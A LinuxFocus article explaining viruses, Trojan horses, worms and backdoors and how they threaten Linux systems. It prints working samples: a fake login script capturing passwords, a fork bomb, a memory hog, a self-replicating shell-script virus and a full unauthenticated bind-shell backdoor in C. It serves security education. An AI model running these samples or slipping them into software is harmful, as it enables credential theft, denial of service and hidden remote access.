LinuxFocus article number 255
http://linuxfocus.org

# Viruses: a concern for all of us

by Christophe Blaess
(homepage)

*About the author:*

Christophe Blaess is an independent aeronautics engineer. He is a Linux fan and does much of his work on this system. He coordinates the translation of the man pages as published by the *Linux Documentation Project*.

*Abstract*:

This article was first published in a Linux Magazine France special issue focusing on security. The editor, the authors and the translators kindly allowed LinuxFocus to publish every article from this special issue. Accordingly, LinuxFocus will bring them to you as soon as they are translated to English. Thanks to all the people involved in this work. This abstract will be reproduced for each article having the same origin.

*Translated to English by:*
Georges Tarbouriech
<georges.t(at)linuxfocus.org>

## Preamble

This article reviews internal security problems that can appear on Linux systems because of aggressive software. Such software can cause damage without human intervention: Viruses, Worms, Trojan Horses, etc. We will go deep into the various vulnerabilities, insisting in the pros and cons of free software in this matter.

## Introduction

There are mostly four types of distinct threats what can be confusing for the user, especially since it often happens that an attack relies on various mechanisms:

- *Viruses* reproduce themselves infecting the body of host programs;
- *Trojan horses* execute tasks hiding themselves within a harmless looking application;
- *Worms* take advantage of computers networks to propagate themselves, using for instance, electronic mail;
- *Backdoors* allow an external user to take control of an application using indirect means.

Classifying them is not always that easy; for example, there are programs considered as viruses by some observers and as worms by others, making the final decision quite complicated. This is not very important considering the scope of this article, which is to clarify which dangers can threaten a Linux system.

Contrary to common believe, these four plagues already exist under Linux. Of course, viruses find a less favorable area to spread than under DOS, for instance, but the present danger must not be neglected. Let us analyze what the risks are.

**The potential threats**

## Viruses

A virus is a bit of code installed in the core of an host program, able to duplicate itself by infecting a new executable file. Viruses were born in the seventies, when the programmers of that time were playing a game called the "*core war*". This game comes from the Bell AT&T laboratories [MARSDEN 00]. The goal of the game was to run in parallel, within a restricted memory area, small programs able to destroy each other. The operating system did not provide protection between the programs memory areas, thus allowing mutual aggression with the aim to kill the competitors. To do this, some were "bombing" with ’0’ the widest possible memory area, while others were permanently moving within the address space, hoping to overwrite the code of the opponent, and sometimes, a few of them cooperated to eliminate a tough "enemy".

The algorithms implemented for the game were translated into an assembly language especially created for the matter, the "*red code*", which was executed through an emulator available on most of the existing machines. The interest in the game was more scientific curiosity, like e.g the enthusiasm toward the Life of Conway Game, the fractals, the genetic algorithms, etc.

However, following articles concerning the *core war*, published in the *Scientific American* [DEWDNEY 84], the inevitable had to happen and some people began to write bits of auto-replicating code especially dedicated to floppies boot sector or executable files, first on Apple ][ computers, and next on MacIntosh and PC’s.

The MS DOS operating system was the environment of choice for viruses proliferation: static executable files with a well known format, no memory protection, no security for file access permissions, wide use of *TSR* resident programs stacked up in memory, etc. We must add to this the users state of mind, wildly exchanging executable programs on floppies without even caring about the origin of the files.

In its simplest form, a virus is a small piece of code which will be executed as an extra when launching an application. It will take advantage of that time to look for other executable files not yet infected, will embed itself in them (preferably leaving the original program unmodified for more discretion) and will exit. When launching the new executable file, the process will restart.

Viruses can benefit from a wide bunch of "weapons" to auto-replicate themselves. In [LUDWIG 91] and [LUDWIG 93] there is a detailed description of viruses for DOS, using sophisticated means of hiding to stay beyond current anti-viruses software: random encryption, permanent change of code, etc. It is even possible to meet viruses using genetic algorithms methods to optimize their survival and reproduction abilities. Similar information can be found in a very famous article: [SPAFFORD 94].

But we have to keep in mind that beyond a subject of experiments with artificial life, the computer virus can cause widespread damage. The principle of multiple replication of a bit of code is only a waste of space (disk and memory) but viruses are used as a support - transport agent - for other entities much more unpleasant: the *logical bombs*, that we will find again in Trojan horses.

## Trojan horses and logical bombs

*Timeo Danaos et dona ferentes - I fear the Greeks even when they make a gift.* (Virgile, the *Aeneid*, II, 49).

The besieged Trojan have had the bad idea to let in their town a huge wood statue representing a horse, abandoned by the greek attackers as a religious offering. The Trojan horse concealed in its side a real commando whose members, once infiltrated, took advantage of the night to attack the town from the inside, thus allowing the greek to win the Trojan war.

The famous "Trojan horse" term is often used in the computer security field to designate an *a priori* harmless application, which like above mentioned viruses, spreads a destructive code called *logical bomb*.

A logical bomb is a program section intentionally harmful having very varied effects:

- high waste of system resources (memory, hard disk, CPU, etc.);
- fast destruction of as many files as possible (overwriting them to prevent users from getting their content back);
- underhand destruction of one file from time to time, to remain hidden as long as possible;
- attack on system security (implementation of too soft access rights, sending of password file to an internet address, etc.);
- use of the machine for computing terrorism, such as DDoS (*Distributed Denial of Service*) like mentioned in the already famous article [GIBSON 01];
- inventory of license numbers concerning the applications on the disk and sending them to the software developer.

In some cases the logical bomb can be written for a specific target system on which it will attempt to steal confidential information, to destroy particular files, or to discredit an user taking on his identity. The same bomb executing on any other system will be harmless.

The logical bomb can also try to physically destroy the system where it lies in. The possibilities are rather few but they do exist (CMOS memory deletion, change in modem flash memory, destructive movements of heads on printers, plotters, scanners, accelerated move of hard disks read heads...)

To carry on with the "explosive" metaphor, let us say a logical bomb requires a detonator to be activated. As a matter of fact, running devastating actions from Trojan horse or virus at first launch is a bad tactic as far as efficiency is concerned. After installing the logical bomb, it is better for it to wait before exploding. This will increase the "chances" to reach other systems when it is about virus transmission; and when it is about Trojan horse, it prevents the user for making too easily the connection between the new application installation and the strange behavior of his machine.

Like any harmful action, the release mechanism can be varied: ten days delay after installation, removal of a given user account (lay-off), keyboard and mouse inactive for 30 minutes, high load in the print queue... there is no lack of possibilities ! The most famous Trojan horses are the screen savers even if they are a bit hackneyed today. Behind an attractive look, these programs are able to harm without being disturbed, especially if the logical bomb is only activated after one hour, which almost ensures the user is no more in front of his computer.

Another famous example of Trojan horse is the following script, displaying a login/password screen, sending the information to the person who launched it and exiting. If it works on an unused terminal, this script will allow to capture the password of the next user trying to connect.

```
#! /bin/sh

clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
        login: $login
        passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout
```

To make it disconnect when finished, it must be launched with the `exec` shell command. The victim will think he/she made a typing mistake when seeing the "*Login incorrect*" message and will connect again the normal way. More advanced versions are able to simulate the X11 connection dialog. To avoid this kind of trap, it is a good thing to use first a false login/password arriving at a terminal (this is a reflex quite easy and fast to learn).

## Worms

*And Paul found himself on the Worm, exulting, like an Emperor dominating the universe.* (F. Herbert "*Dune*")

"*Worms*" come from the same principle as viruses. They are programs trying to replicate themselves to get a maximal dissemination. Even if not their main feature, they can also contain a logical bomb with a delayed trigger. The difference between worms and viruses comes from the fact that worms do not use

an host program as a transport media, but instead, they try to benefit from the capabilities provided by networks, such as electronic mail, to spread from machine to machine.

The technical level of the worms is rather high; they use the vulnerabilities of software providing network services to force their self-duplication on a remote machine. The archetype is the 1988 "*Internet Worm*".

The *Internet Worm* is an example of pure worm, not containing a logical bomb, nevertheless its involuntary devastating effect was fearsome. You can find a short but acute description in [KEHOE 92] or a detailed analysis in [SPAFFORD 88] or [EICHIN 89]. There is also a less technical but more exciting explanation in [STOLL 89] (following the *Cuckoo Egg* saga), where the frenzy of the teams fighting this worm comes after the panic of the administrators whose systems were affected.

In short, this worm was a program written by Robert Morris Jr, student at the Cornell university, already known for an article about security problems in networks protocols [MORRIS 85]. He was the son of a man in charge of computers security at the NCSC, branch of the NSA. The program was launched late in the afternoon of November 2nd 1988 and stopped most of the systems connected to Internet. It worked in various stages:

1. Once a computer was infiltrated, the worm was trying to propagate into the network. To get addresses it was reading system files and was calling utilities such as `netstat` providing information about network interfaces.
2. Next, it was trying to get into user accounts. To do this it was comparing the content of a dictionary to the password file. Also, it was trying to use as a password, combinations of the user's name (reverse, repeted, etc). This step then relied on a first vulnerability: passwords encrypted in a readable file (`/etc/passwd`), thus benefitting from the bad choice of some users passwords. This first vulnerability has now been solved using *shadow passwords*.
3. If it succeeded in getting into user accounts, the worm was attempting to find machines providing direct access without identification, that is using `~/.rhost`and `/etc/hosts.equiv` files. In that case, it was using `rsh` to execute instructions on the remote machine. Thus, it was able to copy itself on the new host and the cycle was starting again.
4. Otherwise a second vulnerability was used to get into another machine: `fingerd` buffer overflow exploit. (Check our series about secure programming : Avoiding security holes when developing an application - Part 1, Avoiding security holes when developing an application - Part 2: memory, stack and functions, shellcode, Avoiding security holes when developing an application - Part 3: buffer overflows.)
   This bug allowed remote code execution. Then the worm was able to copy itself on the new system and start again. In fact, this only worked with some processor types.
5. Last, a third vulnerability was used: a debugging option, active by default within the `sendmail` daemon, allowing to send mail finally transmitted to the standard input of the program indicated as destination. This option should never have been activated on production machines, but, unfortunately most of the administrators were ignoring its existence.

Let us note that once the worm had been able to execute some instructions on the remote machine, the way to copy itself was rather complex. It required the transmission of a small C program, recompiled on the spot and then launched. Then, it was establishing a TCP/IP connection to the starting computer and was getting all the worm binaries back. These last, pre-compiled, were existing for various architectures (Vax and Sun), and were tested one after the other. Furthermore, the worm was very clever at hiding

itself, without trace.

Unfortunately, the mechanism preventing a computer to be infected various times did not work as expected and the harmful aspect of the *Internet 88* worm, not containing a logical bomb, showed itself because in a strong overload of the affected systems (notably with a blocking in electronic mail, what caused a delay in providing solutions).

The author of the worm went to prison for some time.

The worms are relatively rare because of their complexity. They must not be mixed up with another type of danger, the viruses transmitted as attachments to an electronic mail such as the famous "*ILoveYou*". These are quite simple since they are macros written (in Basic) for productivity applications automatically launched when the mail is read. This only works on some operating systems, when the mail reader is configured in a too simplistic way. These programs are more similar to Trojan horses than to worms, since they require an action from the user to be launched.

## Backdoors

*Backdoors* can be compared to Trojan horses but they are not identical. A backdoor allows an ("advanced") user to act on a software to change its behavior. It can be compared to the *cheat codes* used with games to get more resources, to reach a higher level, etc. But this is also true for critical applications such as connection authentication or electronic mail, since they can provide a hidden access with a password only known by the software creator.

Programmers wishing to ease the debugging phase, often leave a small door open to be able to use the software without going through the authentication mechanism, even when the application is installed on the client site. Sometimes they are official access mechanisms using default passwords (`system`, `admin`, `superuser`, etc) but are not very well documented what leads the administrators to leave them on.

Remember the different hidden accesses allowing to discuss with the system core in the "*Wargame*" film, but you can also find earlier reports about such practices. In an incredible article [THOMPSON 84], Ken Thompson, one of the Unix fathers, describes a hidden access he implemented on Unix systems many years ago:

- He had changed the `/bin/login` application to include a bit of code in it, providing a direct access to the system typing a precompiled hardcoded password (not taking `/etc/passwd` into account). Thus, Thompson was able to visit every system using this `login` version.
- However, the sources of the applications were available at that time (like for free software today). Then the `login.c` source code was present in the Unix systems and everybody could have read the trapped code. Accordingly, Thompson was providing a clean `login.c` without the access door.
- The problem was that every administrator was able to recompile `login.c` thus removing the trapped version. Then, Thompson modified the standard C compiler to make it able to add the backdoor when noticing someone was trying to compile `login.c`.
- But, again, the compiler source code `cc.c` was available and everybody could have read or recompile the compiler. Accordingly, Thompson provided a clean compiler source code, but the binary file, already processed, was able to identify its own source files, then included the code

used to infect `login.c`...

What to do against this ? Well, nothing ! The only way would be to restart with a brand new system. Unless you build a machine from scratch creating the whole microcode, the operating system, the compilers, the utilities, you cannot be sure that every application is clean, even if the source code is available.

# And, what about Linux ?

We presented the main risks for any system. Now, let us have a look at the threats concerning free software and Linux.

## Logical bombs

First, let us watch the damages a logical bomb is able to cause when executed on a Linux box. Obviously, this varies depending on the wanted effect and the privileges of the user identity launching it.

As far as system file destruction or reading of confidential data is concerned, we can have two cases. If the bomb executes itself under the *root* identity, it will have the whole power on the machine, including the deletion of every partition and the eventual threats on the hardware above mentioned. If it is launched under any other identity, it will not be more destructive than a user without privileges could be. It only will destroy data belonging to this user. In that case, everyone is in charge of his own files. A conscientious system administrator does very few tasks while login as *root*, what reduces the probability to launch a logical bomb under this account.

The Linux system is rather good at private data and hardware access protection, however it is sensitive to attacks aiming at making it inoperative using lot of resources. For example, the following C program is difficult to stop, even when started as a normal user, since, if the number of process by user is not limited, it will "eat" every available entry from the process table and prevent any connection trying to kill it:

```
  #include <signal.h>
  #include <unistd.h>

  int
main (void)
{
  int i;
  for (i = 0; i < NSIG; i ++)
    signal (i, SIG_IGN);
  while (1)
    fork ();
}
```

The limits you can set for users (with the `setrlimit()` system call, and the shell `ulimit` function) allow to shorten the life of such a program, but they only act after some time during which the system is

unreachable.

In the same connection, a program like the following uses all the available memory and loops "eating" the CPU cycles, thus being quite disturbing for the other processes:

```
  #include <stdlib.h>

  #define LG      1024

  int
main (void) {
  char * buffer;
  while ((buffer = malloc (LG)) != NULL)
     memset (buffer, 0, LG);
  while (1)
    ;
}
```

Usually this program is automatically killed by the virtual memory management mechanism in the latest kernel releases. But before this, the kernel can kill other tasks requiring a lot of memory and presently inactive (X11 applications, for instance). Furthermore, all other processes requiring memory will not get it, what often leads to their termination.

Putting network features out of order is also rather simple, overloading the corresponding port with continued connection requests. The solutions to avoid this exist but they are not always implemented by the administrator. We then can notice that under Linux, even if a logical bomb launched by a normal user cannot destroy files not belonging to him, it can be quite disturbing. Enough to combine a few `fork()`, `malloc()` and `connect()` to badly stress the system and the network services.

## Viruses

```
Subject: Unix Virus

YOU RECEIVED AN UNIX VIRUS

This virus works according to a cooperative principle:

If you use Linux or Unix, please forward this mail to your
friends and randomly destroy a few files of your system.
```

Despite a widespread idea, viruses can be a threat under Linux. Various exist. What is true is that a virus under Linux will not find a useful ground to spread. First, let us watch the phase of infesting a machine. The virus code must be executed there. It means a corrupt executable file has been copied from another system. In the Linux world, the common practice is to provide an application to someone is to give him the *URL* where to find the software instead of sending him executable files. This means the virus comes from an official site where it will be quickly detected. Once a machine infected, to make it able to spread the virus, it should be used as a distributing platform for precompiled applications, what is rather infrequent. As a matter of fact, the executable file is not a good transport media for a logical bomb in the world of free software.

Concerning the spreading within a machine, obviously a corrupt application only can spread to files for which the user running it, has writing rights. The wise administrator only working as *root* for operations really requiring privileges, is unlikely running a new software when connected under this identity. Apart from installing a *Set-UID root* application infected with a virus, the risk is then quite reduced. When a normal user will run an infected program, the virus will only act on the files owned by this user, what will prevent it from spreading to the system utilities.

If viruses have represented an utopy under Unix for a long time, it is also because of the diversity of processors (then of assembly languages) and of libraries (then objects references) which limited the range for precompiled code. Today it is not that true, and a virus infecting the ELF files compiled for Linux for an i386 processor with GlibC 2.1 would find a lot of targets. Furthermore a virus could be written in a language not depending on the host executing it. For instance, here is a virus for shell scripts. It tries to get into every shell script found under the directory where it is launched from. To avoid infecting the same script more than once, the virus ignores the files in which the second line has the comment "infected" or "vaccinated".

```
#! /bin/sh
# infected

( tmp_fic=/tmp/$$
candidates=$(find . -type f -uid $UID -perm -0755)
for fic in $candidates ; do
  exec < $fic
  # Let’s try to read a first line,
  if  ! read line ; then
          continue
  fi
  # and let’s check it is a shell script.
  if [ "$line" != "#!/bin/sh" ]&&[ "$line" != "#! /bin/sh" ];then
          continue
  fi
  # Let’s read a second line.
  if ! read line ; then
          continue
  fi
  # Is the file already infected or vaccinated ?
  if [ "$line" == "# vaccinated" ]||[ "$line" == "# infected" ];then
          continue
  fi
  # Otherwise we infect it: copy the virus body,
  head -33 $0 > $tmp_fic
  # and the original file.
  cat $fic >> $tmp_fic
  # Overwrite the original file.
  cat $tmp_fic > $fic
done
 rm -f $tmp_fic
) 2>/dev/null &
```

The virus does not care about hiding itself or its action, except that it executes in the background while leaving the original script to do its usual job. Of course, do not run this script as *root* ! Especially if you replace `find .` with `find /`. Despite the simplicity of this program, it is quite easy to loose its control, particularly if the system contains lots of customized shell scripts.

The table 1 contains information about well known viruses under Linux. All of them infect ELF

executable files inserting their code after the file header and moving back the rest of the original code. Unless told otherwise, they search potential targets in the system directories. From this table, you can notice that viruses under Linux are not anecdotal even if not too alarming, mostly because, until now these viruses are harmless.

Table 1 - Viruses under Linux

| *Name* | *Logical Bomb* | *Notes* |
|---|---|---|
| Bliss | Apparently inactive | Automatic desinfection of the executable file if called with the option `--bliss-disinfect-files-please` |
| Diesel | None | |
| Kagob | None | Uses a temporary file to execute the infected original program |
| Satyr | None | |
| Vit4096 | None | Only infects files in current directory. |
| Winter | None | The virus code is 341 bytes. Only infects files in current directory. |
| Winux | None | This virus holds two different codes, and can infect as well Windows files as Elf Linux files. However it is unable to explore other partitions than the one where it is stored, what reduces its spreading. |
| ZipWorm | Inserts a "troll" text about Linux and Windows into the Zip files it finds. ("troll"= some sort of gnome in Swedish mythology) | |

You will notice that "Winux" virus is able to spread either under Windows or Linux. It is a harmless virus and is rather a proof of possibilities than a real danger. However this concept sends shivers down your spine, when you think that such an intruder could jump from one partition to the other, invade an heterogeneous network using Samba servers, etc. Eradication would be a pain since the required tools should be available for both systems at once. It is important to note that the Linux protection mechanism preventing a virus working under a normal user identity from corrupting system files is no more available if the partition is accessed from a virus working under Windows.

Let us insist on that point: every administration precaution you can take under Linux becomes ineffective if you reboot your machine from a Windows partition "homing" an eventual multi-platform virus. It is a problem for every machine using *dual-boot* with two operating systems; the general protection of the whole relies on the security mechanism of the weakest system! The only solution is to prevent access to Linux partitions from any Windows application, using an encrypted file system. This is not very widespread yet, and we can bet that viruses attacking unmounted partitions will soon represent a significant danger for Linux machines.

## Trojan horses

Trojan horses are as fearsome as viruses and people seem to be more conscious about it. Unlike a logical bomb transported by a virus, the one found in a Trojan horse has intentionally been inserted by some human. In the free software world, the range from the author of a bit of code to the final user is limited to one or two intermediaries (let us say someone in charge of the project and someone preparing the distribution). If a Trojan horse is discovered it will be easy to find the "guilty".

The free software world is then rather well protected against Trojan horses. But we are talking about free software as we know it today, with managed projects, receptive developers and web sites of reference. This is quite far from *shareware* or *freeware*, only available precompiled, distributed in an anarchic way by hundreds of web sites (or CD provided with magazines), where the author is only known from an e-mail address easy to falsify; those make a true Trojan horses stable.

Let us note that the fact to have the source of an application and to compile it is not a guarantee of security. For example a harmful logical bomb can be hidden into the "`configure`" script (the one called during "`./configure; make`") which usually is about 2000 lines long! Last but not least, the source code of an application is clean and compiles; this does not prevent the `Makefile` from hiding a logical bomb, activating itself during the final "`make install`", usually done as *root*!

Last, an important part of viruses and Trojan horses harmful under Windows, are macros executed when consulting a document. The productivity packages under Linux are not able to interpret these macros, at least for now, and the user quickly gets an exaggerated feeling of security. There will be a time when these tools will be able to execute the Basic macros included in the document. The fact that the designers have the bad idea to leave these macros run commands on the system will happen sooner or later. Sure, like for viruses, the devastating effect will be limited to the users privileges, but the fact of not loosing system files (available on the installation CD, anyway), is a very little comfort for the home user who just lost all his documents, his source files, his mail, while his last backup is one month old.

To end this section about Trojan horses included in data, let us note that there is always a way of annoying the user, even without being harmful, with some files requiring an interpretation. On Usenet, you can see, from time to time, compressed files multiplying themselves into a bunch of files till reaching disk saturation. Some Postscript files are also able to block the interpreter (`ghostscript` or `gv`) wasting CPU time. These are not harmful, however they make the user loose time and are annoying.

## Worms

Linux did not exist at the time of the 1988 Internet Worm; it would have been a target of choice for this kind of attack, the availability of free software source making the search of vulnerabilities very simple (buffer overflows, for instance). The complexity of writing a "good quality" worm reduces the number of those really active under Linux. Table 2 presents a few of them, among the widespread ones.

The worms exploit network server vulnerabilities. For the workstations occasionally connected to Internet the risk is theoretically less than for the servers permanently connected. However, the evolution of the types of connection provided to the home users (Cable, SDL, etc) and the ease of implementation of current network services (HTTP servers, anonymous FTP, etc) imply that it can become quickly a concern for everybody.

Table 2 - Worms under Linux

| *Name* | *Vulnerabilities* | *Notes* |
|---|---|---|
| Lion (`1i0n`) | `bind` | Installs a backdoor (TCP port 10008) and a *root-kit* on the invaded machine. Sends system information to an email address in China. |
| Ramen | `lpr`, `nfs`, `wu-ftpd` | Changes the `index.html` files it finds |
| Adore (Red Worm) | `bind`, `lpr`, `rpc`, `wu-ftpd` | Installs a backdoor in the system and sends information to email addresses in China and USA. Installs a `ps` modified version to hide its processes. |
| Cheese | Like Lion | Worm introduced as a nice one, checking and removing the backdoors opened by *Lion*. |

About worms, let us note that their spreading is time limited. They only "survive" replicating themselves from one system to the other, and since they rely on recently discovered vulnerabilities, the quick updates of the target applications stop their spreading. In near future, it is likely that home systems will have to automatically consult web sites of reference (everyday) - that will need to be trusted - to find there security patches for system applications. This will become necessary to prevent the user from working full time as a system administrator while allowing him to benefit from performing network applications.

## Backdoors

The backdoor problem is important, even for free software. Of course, when the source code of a program is available, you can check, theoretically, what it does. In fact, very few people read the archive content downloaded from Internet. For instance, the small program below provides a full backdoor, though its small size allows it to hide within a big enough application. This program is derived from an example from my book [BLAESS 00] illustrating the mechanism of pseudo-terminal. This program is not very readable since it has been uncommented to make it shorter. Most of the error checks have also been removed for the same reason. When executed, it opens a TCP/IP server on the port mentioned at the beginning of the program (default 4767) on every network interface of the machine. Each requested connection to this port will automatically access a shell without any authentication !!!

```
    #define _GNU_SOURCE 500
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <termios.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <sys/socket.h>

    #define ADRESSE_BACKDOOR  INADDR_ANY
    #define PORT_BACKDOOR     4767

    int
main (void)
{
```

```
int                sock;
int                sockopt;
struct sockaddr_in adresse; /* address */
socklen_t          longueur; /* length */
int                sock2;
int        pty_maitre; /* pty_master */
int        pty_esclave; /* pty_slave */
char *         nom_pty; /* name_pty */
struct termios     termios;
char * args [2] = { "/bin/sh", NULL };
fd_set         set;
char           buffer [4096];
int            n;

sock = socket (AF_INET, SOCK_STREAM, 0);
sockopt = 1;
setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &sockopt,
           sizeof(sockopt));
memset (& adresse, 0, sizeof (struct sockaddr));
adresse . sin_family = AF_INET;
adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR);
adresse . sin_port = htons (PORT_BACKDOOR);
if (bind (sock, (struct sockaddr *) &adresse, sizeof (adresse)))
    exit (1);
listen (sock, 5);
while (1) {
    longueur = sizeof (struct sockaddr_in);
    if ((sock2 = accept (sock, &adresse, &longueur)) < 0)
        continue;
    if (fork () == 0) break;
    close (sock2);
}
close (sock);
if ((pty_maitre = getpt()) <0) exit (1);
grantpt  (pty_maitre);
unlockpt (pty_maitre);
nom_pty = ptsname (pty_maitre);
tcgetattr (STDIN_FILENO, &termios);
if (fork () == 0) {
    /* Son: shell execution in the slave
        pseudo-TTY */
    close (pty_maitre);
    setsid();
    pty_esclave = open (nom_pty, O_RDWR);
    tcsetattr (pty_esclave, TCSANOW, &termios);
    dup2 (pty_esclave, STDIN_FILENO);
    dup2 (pty_esclave, STDOUT_FILENO);
    dup2 (pty_esclave, STDERR_FILENO);
    execv (args [0], args);
    exit (1);
}
/* Father: copy of the socket to the master pseudo-TTY
    and vice versa */
    tcgetattr (pty_maitre, &termios);
cfmakeraw (&termios);
tcsetattr (pty_maitre, TCSANOW, &termios);
while (1) {
    FD_ZERO (&set);
    FD_SET (sock2, &set);
    FD_SET (pty_maitre, &set);
    if (select (pty_maitre < sock2 ? sock2+1: pty_maitre+1,
```

```
             &set, NULL, NULL, NULL) < 0)
            break;
        if (FD_ISSET (sock2, &set)) {
            if ((n = read (sock2, buffer, 4096)) < 0)
                break;
            write (pty_maitre, buffer, n);
        }
        if (FD_ISSET (pty_maitre, &set)) {
            if ((n = read (pty_maitre, buffer, 4096)) < 0)
                break;
            write (sock2, buffer, n);
        }
    }
    return (0);
}
```

Insertion of such a code into a big application (`sendmail` for example) will stay hidden long time enough to allow nasty infiltration. Furthermore, some people are past master in the art of hiding the work of a bit of code, like the programs submitted every year at the IOCC (*International Obsfucated C Code Contest*) contest can provide the evidence.

The backdoors must not only be considered as theoretical possibilities. Such difficulties have really been encountered, for example in the *Piranha* package from the Red-Hat 6.2 distribution, which was accepting a default password. The *Quake 2* game has also been suspected of hiding a backdoor allowing remote command execution.

The backdoor mechanisms can also hide themselves in such complex appearances that they become undetectable for most of the people. A typical case is the one concerning encryption systems. For example, the SE-Linux system, on the work, is a Linux version where security has been strengthened with patches provided by the NSA. The Linux developers having checked the provided patches said that nothing *seemed* suspect, but nobody can be sure and very few people have the required mathematics knowledge to discover such vulnerabilities.

# Conclusion

Observing these harmful programs found in the Gnu/Linux world allows us to conclude: free software is not safe from viruses, worms, Trojan horses, or others ! Without being too hasty, one must watch security alerts concerning current applications, particularly if the connectivity of a workstation to Internet is frequent. It is important to take good habits right now: update software as soon as a vulnerability has been discovered; use only the required network services; download applications from trusted web sites; check as often as possible the PGP or MD5 signatures for the downloaded packages. The most "serious" people will automate the control of installed applications, with scripts, for instance.

A second note is required: the two main dangers for Linux systems in the future are either the productivity applications blindly interpreting the macros contained in documents (including electronic mail), or multi-platform viruses which, even executed under Windows, will invade executable files found on a Linux partition of the same machine. If the first problem depends on the user behavior, who should not allow its productivity applications to accept everything, the second one is rather difficult to solve, even for a conscientious administrator. In a very near future, powerful viruses detectors would

have to be implemented for Linux workstations connected to Internet; let us hope such projects will appear very soon in the free software world.

# Bibliography

The number of documents about viruses, Trojan horses and other software threats is and important indication; there are many texts talking about current viruses, how they work and what they do. Of course, most of these lists concern Dos/Windows but some of them concern Linux. The articles mentioned here are rather classical and analyze the implemented theoretical mechanism.


- [BLAESS 00] Christophe Blaess - "*C system programming under Linux*", Eyrolles, 2000.
- [DEWDNEY 84] A.K. Dewdney - "*Computer recreations*" in *Scientific American*. Scanned versions available at http://www.koth.org/info/sciam/
- [EICHIN 89] Mark W. Eichin & Jon A. Rochlis - "*With Microscope and Tweezers: An Analysis of the Internet Virus of November 1988*", MIT Cambridge, 1989. Available at www.mit.edu/people/eichin/virus/main.html
- [GIBSON 01] Steve Gibson - "*The Strange Tale of the Denial of Service Attack Against GRC.COM*", 2001. Available at http://grc.com/dos/grcdos.htm
- [KEHOE 92] Brendan P. Kehoe - "*Zen and the Art of the Internet*", 1992. Available at ftp://ftp.lip6.fr/pub/doc/internet/
- [LUDWIG 91] Mark A. Ludwig - "*The Little Black Book of Computer Virus*", American Eagle Publications Inc., 1991.
- [LUDWIG 93] Mark A. Ludwig - "*Computer Viruses, Artificial Life and Evolution*", American Eagle Publications Inc., 1993.
- [MARSDEN 00] Anton Marsden - "*The rec.games.corewar FAQ*" available at http://homepages.paradise.net.nz/~anton/cw/corewar-faq.html
- [MORRIS 85] Robert T. Morris - "*A Weakness in the 4.2BSD Unix TCP/IP Software*", AT&T Bell Laboratories, 1985. Available at http://www.pdos.lcs.mit.edu/~rtm/
- [SPAFFORD 88] Eugene H. Spafford - "*The Internet Worm Program: an Analysis*", Purdue University Technical Report CSD-TR-823, 1988. Available at http://www.cerias.purdue.edu/homes/spaf/
- [SPAFFORD 91] Eugene H. Spafford - "*The Internet Worm Incident*", Purdue University Technical Report CSD-TR-933, 1991. Available at http://www.cerias.purdue.edu/homes/spaf/ See also **rfc1135**: The Helminthiasis of the Internet
- [SPAFFORD 94] Eugene H. Spafford - "*Computer Viruses as Artificial Life*", Journal of Artificial Life, MIT Press, 1994. Available at http://www.cerias.purdue.edu/homes/spaf/
- [STOLL 89] Clifford Stoll - "*The Cuckcoo's egg*", Doubleday, 1989.
- [THOMPSON 84] Ken Thompson - "*Reflections on Trusting Trust*", Communication of the ACM vol.27 n°8, August 1984. Reprinted in 1995 and available at http://www.acm.org/classics/sep95/

Translation information:
fr --> -- : Christophe Blaess (homepage)
fr --> en: Georges Tarbouriech <georges.t(at)linuxfocus.org>

2005-01-14, generated by lfparser_pdf version 2.51